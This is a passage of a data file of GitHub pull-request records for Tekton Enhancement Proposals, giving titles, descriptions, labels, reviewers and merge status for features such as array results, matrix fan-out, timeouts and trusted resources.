"Tomcli", "afrittoli", "bobcatfish", "vdemeester"], "title": "TEP-0065: Retry failed tasks on demand in a pipeline"} +{"additions": 638, "body": "This TEP proposes adding more support for array params by adding\r\narray results as well as the ability to index into arrays.\r\n\r\nIt refers to TEP-0075 which will be added in a separate commit, which\r\nproposes adding support for dictionary types.\r\n\r\nRelated issues:\r\n* [pipelines#1393 Consider removing type from params (or _really_ support types)](https://github.com/tektoncd/pipeline/issues/1393)\r\n* [pipelines#3255 Arguments of type array cannot be access via index](https://github.com/tektoncd/pipeline/issues/3255)\r\n\r\n/kind tep", "created_at": "2021-07-15T22:43:30Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XL", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": "2022-02-14T17:17:08Z", "pr_number": 477, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["Tomcli", "afrittoli", "bendory", "bobcatfish", "jerop", "mogsie", "pierretasci", "vdemeester"], "title": "[TEP-0076] Propose array results and indexing \ud83d\udc20"} +{"additions": 925, "body": "This TEP proposes adding support for more structured params and results\r\nby introducing objects (aka dictionaries), and introducing a (small)\r\nsubset of json schema syntax for declaring keys in the object.\r\n\r\nThis refers to TEP-0074 which will be added in a separate commit and\r\nproposes deprecating PipelineResources.\r\n\r\nThis is based on @skaegi's proposals in https://github.com/tektoncd/pipeline/issues/1393\r\n\r\n/type tep", "created_at": "2021-07-16T23:41:00Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XL", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": "2022-02-14T18:57:08Z", "pr_number": 479, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "dlorenc", "jerop", "mattmoor", "vdemeester", "wlynch"], "title": "[TEP-0075] Propose object (dictionary) param and result types \ud83e\udd13"} +{"additions": 403, "body": "This TEP proposes _officially_ deprecating PipelineResources. From some\r\nperspectives they have been unoffically deprecated for quite a while,\r\never since [we decided not to make them beta](https://github.com/tektoncd/pipeline/blob/e76d4132ab2ecfbedc45a964f08a01022e2d4c14/docs/resources.md#why-arent-pipelineresources-in-beta).\r\n\r\nBy officially making them deprecated, we can give clearer guidance to\r\nour community on how to use Tekton Pipelines going forward instead of\r\nbeing in a place where we recommend folks don't use PipelineResources\r\nbut can't clearly say what will happen next with them.\r\n\r\nThis proposal still keeps open the possibility that we can benefit from\r\na concept similar to PipelineResources, which could be worked on in\r\nparallel by anyone who feels motivated.", "created_at": "2021-07-16T23:46:35Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-10-26T13:50:37Z", "pr_number": 480, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "vdemeester", "wlynch"], "title": "[TEP-0074] Deprecate PipelineResources \u2620\ufe0f"} +{"additions": 497, "body": "## Summary\r\n\r\nAdd an ability for `PipelineRun` to have disabled tasks i.e. a `PipelineRun` can execute a `Pipeline` partially. \r\n\r\nAllow `PipelineRun` to be created from previous `PipelineRun`.\r\n\r\nSo, a `PipelineRun` can be partially run or cancelled at run time, and resumed at a later point with the help of work proposed in this TEP.\r\n\r\nTogether these will bring in the ability to resume/retry a failed `PipelineRun`\r\n\r\n/cc. @jerop @bobcatfish @Tomcli", "created_at": "2021-07-21T11:34:08Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "lifecycle/stale", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 484, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["ScrapCodes", "afrittoli", "bobcatfish", "jerop", "vdemeester"], "title": "TEP-0077: Partial pipeline execute."} +{"additions": 164, "body": "This is the first of a handful of TEPs I'm putting together to weave a more complete story. Once the constituent TEPs have been staged, I can open up an Uber-TEP to discuss the bigger picture they are trying to compose into (a la Voltron), but want to keep the individual aspects finely scoped.\r\n\r\n", "created_at": "2021-08-19T16:10:51Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "lifecycle/stale", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 502, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "mattmoor", "vdemeester"], "title": "[TEP-0080] Proposal: TaskRun Pre/Post steps"} +{"additions": 106, "body": "This TEP proposes support for overriding Tekton Pipelines' configuration\r\non a per-namespace basis in order to:\r\n- improve flexibility for organizations gradually migrating their teams\r\nduring Tekton's infrequent (but potentially disruptive) behavioural\r\nchanges\r\n- allow platforms and organizations to apply finer-grained\r\nconfigurations, such as individualized RBAC on a per-tenant basis\r\n- improve a key portion of our own open source testing strategy by\r\nallowing configuration changes to be exercised in isolated namespaces\r\nrather than entirely separate clusters\r\n\r\nCo-authored-by: Scott Seaward ", "created_at": "2021-08-25T19:42:06Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-10-15T16:38:34Z", "pr_number": 506, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "pritidesai", "vdemeester"], "title": "TEP-0085: Per-namespace Controller Configuration (eg feature flags) [Problem Statement]"} +{"additions": 347, "body": "Adds a new TEP to propose to add a CLI command for Chains.", "created_at": "2021-09-02T14:18:30Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-10-04T17:56:30Z", "pr_number": 508, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["dlorenc", "pradeepitm12", "priyawadhwa", "rgreinho", "vdemeester"], "title": "TEP-0081: Add Chains sub-command to the CLI"} +{"additions": 326, "body": "This TEP introduces an idea for a feature in triggers which would allows user to \r\n- Schedule a pipelinerun/taskrun at a certain time/ at certain interval\r\n- Setup a poll which looks for changes on a repository and triggers pipelinerun/taskrun.\r\n\r\nSigned-off-by: Shivam Mukhade ", "created_at": "2021-09-13T07:00:41Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-11-17T16:05:45Z", "pr_number": 517, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "dibyom", "savitaashture", "sm43", "vdemeester"], "title": "TEP-0083: Scheduled and Polling runs in Tekton"} +{"additions": 427, "body": "Initial TEP PR for issue tektoncd/pipeline#4012", "created_at": "2021-09-27T08:33:27Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": "2022-05-09T16:10:45Z", "pr_number": 521, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "pritidesai", "priyawadhwa", "skaegi", "tlawrie", "vdemeester"], "title": "TEP-0086: Changing the way result parameters are stored"} +{"additions": 455, "body": "This change adds the Tekton Enhancement Proposal for `Custom Tasks` Graduation.\r\n\r\nToday, `Custom Tasks` shared by the Tekton community are all *experimental*, and we don't have a process to promote\r\nthem beyond *experimental*.\r\n\r\nAs such:\r\n- Users can't depend on the `Custom Tasks` because they can change any time, they may not reflect the Tekton roadmap and they may not meet the Tekton standards because they haven't been reviewed in a Tekton Enhancement Proposal.\r\n- Contributors don't have a process to stabilize their `Custom Tasks` or integrate them to the *Tekton Pipelines API*.\r\n\r\nIn this TEP, we aim to:\r\n- Define the graduation requirements path for `Custom Tasks`.\r\n- Provide `Custom Tasks` that are officially supported by Tekton and have stability guarantees.\r\n\r\n`Custom Tasks` will have four stability levels in their graduation path:\r\n\r\n1. *Experimental*: `Custom Tasks` can change any time, [*alpha* API policy][api-policy] applies, as we are iterating on\r\nthem.\r\n2. *Stable*: `Custom Tasks` are stable, [*beta* API policy][api-policy] applies, and have been approved in a TEP.\r\n3. *Packaged*: `Custom Tasks` are shipped with *Tekton Pipelines* releases, so are available for use out of the box.\r\n4. *Integrated*: `Custom Tasks`' functionalities are natively supported in the *Tekton Pipelines API*.\r\n\r\nThe *Tekton Pipelines* owners have the discretion to expedite the graduation process of a given `Custom Task`, such as\r\nwhen they agree early on that they want to integrate the functionality provided by the `Custom Task` directly to the\r\n*Tekton Pipelines API*.\r\n\r\nSee also [TEP-0002: Enable Custom Tasks](https://github.com/tektoncd/community/blob/main/teps/0002-custom-tasks.md).\r\n\r\n[api-policy]: https://github.com/tektoncd/pipeline/blob/main/api_compatibility_policy.md#alpha-beta-and-ga\r\n\r\n", "created_at": "2021-09-28T20:28:58Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "size/L", "lifecycle/frozen", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 523, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "vdemeester"], "title": "TEP-0087: Custom Tasks Graduation"} +{"additions": 257, "body": "", "created_at": "2021-10-04T17:50:07Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2022-01-18T20:51:05Z", "pr_number": 529, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "pritidesai", "priyawadhwa", "pxp928", "vdemeester", "wlynch"], "title": "TEP-0089: Non-falsifiable provenance support"} +{"additions": 551, "body": "", "created_at": "2021-10-11T18:18:06Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["needs-rebase", "size/XL", "lifecycle/rotten", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": null, "pr_number": 537, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bobcatfish", "pritidesai", "priyawadhwa", "skaegi", "squee1945"], "title": "TEP-0091: Verified Remote Resources"} +{"additions": 29, "body": "This is rather straightforward as written - we just need to add `DisplayName` fields to `PipelineSpec`, `TaskSpec`, and `PipelineTask`, and add a `Description` field to `PipelineTask`.\r\n\r\nSigned-off-by: Andrew Bayer ", "created_at": "2022-01-04T20:56:58Z", "deletions": 16, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/M", "lgtm", "approved", "kind/tep"], "linked_issues": [], "merged_at": "2022-08-01T16:23:34Z", "pr_number": 593, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["jerop", "vdemeester"], "title": "TEP-0047: Update and move to implementable"} +{"additions": 593, "body": "This PR adds the problem statement for the TEP and identifies possible solutions.\r\nThe proposal will be added in a subsequent PR after discussions of alternatives.\r\n\r\nUsing `Parameter` variables directly in `script` blocks in `Tasks` is a footgun\r\nin two ways:\r\n- **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector\r\n for code injection and, by contrast, difficult for a `Task` _user_ to verify that\r\n such an injection can't or hasn't taken place.\r\n- **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter`\r\n with a character that would make the `Script` invalid and fail the `Task`, making\r\n the `Task` extremely fragile.\r\n\r\nTo solve the above problems, this TEP aims to:\r\n- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`,\r\n and update the documentation and *Tekton Catalog* with the new approach.\r\n- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in\r\n *Tekton Pipelines V1 API*.\r\n\r\nReferences:\r\n* Issues:\r\n * tektoncd/pipeline#3226\r\n * tektoncd/triggers#675\r\n * tektoncd/plumbing#971\r\n* [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments)\r\n* Tekton Enhancement Proposals:\r\n * [TEP-0017: Shell-Escaped Parameters](https://github.com/tektoncd/community/pull/208)\r\n * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md)\r\n\r\nCo-authored-by: Scott Seaward ", "created_at": "2022-01-06T00:50:45Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["needs-rebase", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 596, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "jerop", "lbernick", "mogsie", "vdemeester"], "title": "TEP-0099: `Parameters` in `Script`"} +{"additions": 1040, "body": "In [TEP-0090: Matrix][tep-0090] we described the problem statement for fanning out `PipelineTasks`. That is, enabling execution of a `PipelineTask` with different permutations of `Parameters` specified in a `Matrix`.\r\n\r\nIn this change, we add the proposal to solve the above problem. It includes the design details, implementation plan, promotion plan, design evalutation, future work, alternatives, and others.\r\n\r\nIn summary, we propose adding a `matrix` field to the `PipelineTask` specification that will be used to declare `Parameters` of type `Array`. The `PipelineTask` will be executed in parallel `TaskRuns` or `Runs` with its `Parameters` substituted with the permutations of `Parameters` in the `Matrix`.\r\n\r\nPOC Demo: https://drive.google.com/file/d/1wDYIl2Kqj5XiZzikF9878bcVb7_lmcoZ/view?t=31m11s (accessible to [tekton-dev@](https://github.com/tektoncd/community/blob/main/contact.md#shared-drive))\r\n\r\n/kind tep\r\n\r\n[tep-0090]: https://github.com/tektoncd/community/blob/main/teps/0090-matrix.md", "created_at": "2022-01-09T22:43:17Z", "deletions": 14, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XXL", "kind/tep"], "linked_issues": [], "merged_at": "2022-02-14T17:10:09Z", "pr_number": 600, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "lbernick", "vdemeester", "vinamra28"], "title": "TEP-0090: Matrix [Proposal]"} +{"additions": 202, "body": "This TEP proposes changes to `PipelineRun` Status to reduce the amount of\r\ninformation stored about the status of its `Run`s and `TaskRun`s to improve\r\nperformance, reduce memory bloat and improve extensibility.\r\n\r\nRelated Issues:\r\n- [PipelineRun and TaskRun Status][issue-3792]\r\n- [PipelineRun Status bloat and excessive updates][issue-3140]\r\n\r\nRelated TEPs:\r\n- [Pipelines in Pipelines][tep-0056]\r\n- [Matrix][tep-0090]\r\n\r\n/kind tep\r\n\r\nCo-authored-by: Lee Bernick \r\n\r\n[tep-0056]: https://github.com/tektoncd/community/blob/main/teps/0056-pipelines-in-pipelines.md\r\n[tep-0090]: https://github.com/tektoncd/community/blob/main/teps/0090-matrix.md\r\n[issue-3140]: https://github.com/tektoncd/pipeline/issues/3140\r\n[issue-3792]: https://github.com/tektoncd/pipeline/issues/3792", "created_at": "2022-01-24T22:00:55Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2022-01-31T17:13:07Z", "pr_number": 606, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["chmouel", "jerop", "pritidesai", "vdemeester"], "title": "TEP-0100: Embedded TaskRuns and Runs Status in PipelineRuns [Problem Statement]"} +{"additions": 37, "body": "In [TEP-0085](https://github.com/tektoncd/community/blob/main/teps/0085-per-namespace-controller-configuration.md) we proposed the support for overriding `tekton-pipelines-controller`'s configuration on a per-namespace basis. \r\n\r\nIn this pull request, we include the proposal to configure the `feature-flags` configuration per namespace which is implemented in [Tekton Pipelines Pull Request #4499](https://github.com/tektoncd/pipeline/pull/4499)\r\n\r\nIn summary, we propose enabling the controller's feature flags configuration per namespace via a new `feature-flags` ConfigMap in each of the candidate namespaces to override the properties defined in the `feature-flags` ConfigMap in the default system namespace, and the candidate namespaces are included in a new environment variable in the `tekton-pipelines-controller`.", "created_at": "2022-01-24T22:25:43Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/M", "lifecycle/rotten", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 607, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["chmouel", "pritidesai", "vdemeester"], "title": "TEP-0085: Per-Namespace Controller Configuration [Proposal]"} +{"additions": 512, "body": "Signed-off-by: Brandon Lum ", "created_at": "2022-03-01T16:14:53Z", "deletions": 40, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XL", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": "2022-04-18T16:22:18Z", "pr_number": 643, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "jerop", "lumjjb", "pritidesai", "pxp928"], "title": "[TEP-0089] Update TEP-0089 to implementable"} +{"additions": 311, "body": "The Related Issue\r\n- [Pipeline Issue #4105](https://github.com/tektoncd/pipeline/issues/4105)\r\n\r\nDesign Doc\r\n- [Support Specifying Metadata per Task in Runtime](https://docs.google.com/document/d/1JyeE_TEKDpnqr1uygxkALJyPKXMOypAwPfnEAx7HKyY/edit)\r\n\r\nImplementation PR: \r\n- [TEP-0106 Implementation](https://github.com/tektoncd/pipeline/pull/4834) \r\n\r\n[Original PR](https://github.com/tektoncd/community/pull/690) was closed due to merge commits affecting a squash-down", "created_at": "2022-05-03T01:36:01Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2022-05-09T16:21:44Z", "pr_number": 695, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "austinzhao-go", "dibyom", "vdemeester"], "title": "TEP-0106: Support Specifying Metadata per Task in Runtime"} +{"additions": 370, "body": "TEP outlining a feature that would give developers the option to have the PipelineRuns that potentially overlap an ability to only run the most recent one. Please feel free to let me know if any other information outlining the idea is needed or if I can be helpful in clarifying.\r\n\r\nI would also love any input on what to call this? Describing the situation more succinctly would be ideal and am open to any recommendations \ud83d\ude05 \r\n", "created_at": "2022-05-27T00:32:37Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "lifecycle/stale", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 716, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["lbernick", "vdemeester", "williamlfish"], "title": "TEP ~ Automatically manage concurrent PipelineRuns"} +{"additions": 338, "body": "This commit proposes one solution to veriy the Tekton Resources via\r\nadmission webhook. It aims at starting the discussion on this work and\r\ndrives the Trusted Resources launched to Alpha.\r\n\r\nThis is a fork of https://github.com/tektoncd/community/pull/537 and work from @wlynch, and adapt it based on the poc in https://github.com/tektoncd/experimental/tree/main/pipeline/trusted-resources", "created_at": "2022-06-24T20:33:40Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2022-08-15T18:03:52Z", "pr_number": 739, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["Yongxuanzhang", "afrittoli", "dibyom", "jerop", "wlynch"], "title": "[TEP-0091]Trusted Resources"} +{"additions": 66, "body": "We propose that we provide the multiple solutions, all guarded behind a `larger-results` feature flag, so that we can experiment and figure out a way forward. These gated solutions will be alpha, and can be changed or removed at any time.\r\n\r\nIn this change, we propose experimenting with Sidecar Logs as a solution for providing larger Results within the CRDs. This will be enabled by setting `larger-results`: `\"sidecar-logs\"`.\r\n\r\nThis solution can be changed at any time, or removed completely. This will give us an opportunity to gather user feedback and find ways to address the concerns, as we figure out a way forward.\r\n\r\nMany thanks to @chitrangpatel for implementing the proof of concept - [demo][demo].\r\n\r\n[demo]: https://drive.google.com/file/d/14tDHNgpzOZ--5nMsOsTBhxsDgDDM_7iQ/view?t=1h01m41s\r\n\r\n/kind tep", "created_at": "2022-06-28T16:03:48Z", "deletions": 17, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/M", "lifecycle/stale", "kind/tep", "area/s3c"], "linked_issues": [], "merged_at": null, "pr_number": 745, "repo": "community", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["chitrangpatel", "dibyom", "imjasonh", "jerop", "pritidesai", "wlynch"], "title": "TEP-0086: Larger Results via Sidecar Logs"} +{"additions": 372, "body": "Retries is designed inconsistently between TaskRun and CustomRun, see the [Motivation](#motivation) section for details. In this TEP, we propose to align the inconsistency by\r\n1. solidifying `TimeOut` is for each retry attempt, updating [TEP-069](https://github.com/tektoncd/community/blob/33ca1d5254a405b1d479f2350443f6c7979a0b72/teps/0069-support-retries-for-custom-task-in-a-pipeline.md) and [docs/runs.md](https://github.com/tektoncd/pipeline/blob/0dd9f9719177054bdf60928ce9b4aab4b85af5bd/docs/runs.md) to reflect the alignment.\r\n2. migrating `Retries` implementation to TaskRun reconciler.", "created_at": "2022-09-08T15:50:15Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2022-11-03T19:47:46Z", "pr_number": 816, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["XinruZhang", "afrittoli", "dibyom", "jerop", "lbernick", "pritidesai"], "title": "TEP-0121: Refine Retries for TaskRuns and CustomRuns"} +{"additions": 124, "body": "This TEP originates from https://github.com/tektoncd/pipeline/issues/4235#issuecomment-1310544552.\r\n\r\nHappy to explain this further or discuss in a working group or so.", "created_at": "2022-11-11T13:44:11Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "lifecycle/rotten", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 877, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "jerop", "lbernick", "michaelsauter", "vdemeester"], "title": "TEP-0126: Allow Task sidecars to be specified in PipelineRun"} +{"additions": 413, "body": "[TEP-0092] Propose separate scheduling, execution, and total timeouts\r\n\r\nUpdated TEP-0092 to introduce new timeout structure and keep consistency among when the timeout starts counting down and when a timeout is explicitly set to 0.\r\n \r\nPrior to adding a `final` timeout field, the `execution` timeout field meaning changed dependent on whether `scheduling` timeout existed. By introducing a `final` timeout, we are able to keep the definition of `execution` timeout the same regardless if there is a `scheduling` timeout.\r\n \r\nThere was also confusion around whether the the timeouts start at the start time vs creation time of `TaskRun`. This clarifies that both the `scheduling` and `total` timeout will start ticking at the startTime of the `TaskRun`, similar to `PipelineRuns`.\u00a0\r\n\r\nIn addition, to keep the consistency of timeout definitions across pipelines, if the timeout is explicitly set to 0, it will be interpreted the same as no timeout and the specified timeout will run until completion. \r\n\r\nThe definitions across all 3 timeouts can be confusing since all of the timeout fields are now optional. To add clarity around this I've added some example yaml configurations and validation test cases.", "created_at": "2023-01-30T22:04:43Z", "deletions": 253, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 948, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["EmmaMunley", "jerop", "lbernick", "vdemeester"], "title": "TEP-0092: TaskRun Timeouts - Updated Proposal"} +{"additions": 349, "body": "This commit moves the future work for TEP-120 (canceling concurrent PipelineRuns) into a separate TEP focused on controlling load on a cluster or external services from many Runs running concurrently.\r\n\r\n/kind tep", "created_at": "2023-02-24T16:05:39Z", "deletions": 47, "discovered_via": "tep_file_link", "files_changed": 3, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2023-04-03T16:06:57Z", "pr_number": 968, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["jerop", "lbernick", "vdemeester"], "title": "[TEP-0132] Queueing concurrent Runs [Problem statement]"} +{"additions": 528, "body": "", "created_at": "2023-06-19T15:41:49Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": "2023-07-14T13:54:22Z", "pr_number": 1028, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "dibyom", "pritidesai", "vdemeester"], "title": "[TEP-0137] CloudEvents controller"} +{"additions": 1145, "body": "This TEP enables step reusability by separating the actionable parts of the `Step` into a separate CRD. The name of this CRD is still not decided. We plan to converge on the name before making the TEP implementable.", "created_at": "2023-09-08T14:27:33Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 8, "labels": ["lgtm", "approved", "size/XXL", "kind/tep"], "linked_issues": [], "merged_at": "2023-10-23T15:55:33Z", "pr_number": 1065, "repo": "community", "review_decision": "DISMISSED", "reviewer_logins": ["afrittoli", "chitrangpatel", "dibyom", "khrm", "pritidesai", "vdemeester"], "title": "[TEP-0142] Enable Step Reusability"} +{"additions": 330, "body": "This commit adds the problem statement and design proposal to introduce a new `enum` field to support Tekton built-in `param` input validation mechanism.\r\n\r\n/kind tep", "created_at": "2023-09-20T21:22:40Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2023-10-23T17:17:31Z", "pr_number": 1072, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "QuanZhang-William", "Yongxuanzhang", "afrittoli", "pritidesai", "vdemeester"], "title": "[TEP-0144] Param Enum"} +{"additions": 750, "body": "This PR adds the problem statement for the TEP and identifies possible solutions. The proposal will be added in a subsequent PR after discussions of alternatives.\r\n\r\nUsing `Parameter` variables directly in `script` blocks in `Tasks` is a footgun in two ways:\r\n- **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector for code injection and, by contrast, difficult for a `Task` _user_ to verify that such an injection can't or hasn't taken place.\r\n- **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter` with a character that would make the `Script` invalid and fail the `Task`, making the `Task` extremely fragile.\r\n\r\nTo solve the above problems, this TEP aims to:\r\n- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`, and update the documentation and *Tekton Catalog* with the new approach.\r\n- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in *Tekton Pipelines V1 API*.\r\n\r\nReferences:\r\n* Issues: * tektoncd/pipeline#3226 * tektoncd/triggers#675 * tektoncd/plumbing#971\r\n* [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments)\r\n* Tekton Enhancement Proposals: * [TEP-0017: Shell-Escaped Parameters](https://github.com/tektoncd/community/pull/208) * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md) * [TEP-0099: Parameters in Script](https://github.com/tektoncd/community/pull/596)", "created_at": "2023-10-02T16:05:14Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": "2023-11-01T14:58:51Z", "pr_number": 1077, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["JeromeJu", "Yongxuanzhang", "aaron-prindle", "afrittoli", "vdemeester"], "title": "[TEP-0146] `Parameters` in `Script`"} +{"additions": 4244, "body": "\r\n\r\n# Changes\r\n\r\nThis PR adds continuous integration models to the dashboard.\r\nIt does so by adding two new CRDs `Projects` and `Builds`.\r\nThose two new resources help bootstrapping the triggers and pipelines resources to setup continuous integration with pipeline definitions stored in the target repository.\r\n\r\nA `Project` will setup:\r\n- an `EventListener` to receive github webhooks\r\n- a `TriggerBinding` to bind properties from the incoming webhook\r\n- a `TriggerTemplate` to create a `TaskRun` that will clone the repository read the pipeline definition file and instantiate a `Build`\r\n- an `Ingress` pointing the event listener service\r\n\r\nA `Build` will setup:\r\n- a `PipelineRun` implementing the pipeline definition that came from the repo\r\n\r\nAll those resources are correctly meshed together through owner references, they are reconciled and have statuses that aggregate the statuses from the resources they are responsible for.\r\n\r\n\r\nI will make a demo on next WG meeting, i opened the PR if someone wants to give a look or try it out before Monday.\r\n\r\n/cc @AlanGreene @a-roberts \r\n\r\nA few screenshots:\r\n\r\nProjects list\r\n![image](https://user-images.githubusercontent.com/47974576/87159387-91464680-c2c1-11ea-9469-bf756043be97.png)\r\n\r\nBuilds list\r\n![image](https://user-images.githubusercontent.com/47974576/87159474-b33fc900-c2c1-11ea-933e-d1ebfd2486d6.png)\r\n\r\nCreate project form\r\n![image](https://user-images.githubusercontent.com/47974576/87159579-dc605980-c2c1-11ea-944e-b16e9d54243d.png)\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/dashboard/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n", "created_at": "2020-07-10T13:16:35Z", "deletions": 9, "discovered_via": "tep_file_link", "files_changed": 60, "labels": ["size/XXL", "do-not-merge/work-in-progress", "needs-rebase"], "linked_issues": [], "merged_at": null, "pr_number": 1612, "repo": "dashboard", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "[WIP] Add continuous integration models (Projects and Builds)"} +{"additions": 1711, "body": "# Changes\r\n\r\nThis PR relates to the [#1839: Versioning of Tasks](https://github.com/tektoncd/pipeline/issues/1839) discussion. The PR adds an `oci` tool that is currently able to store and retrieve Tekton resource (Pipeline, Task, ClusterTask...) from a registry. \r\n\r\nCredits: Thanks for Pierre Tasci @pierretasci for the initial implementation. \r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as 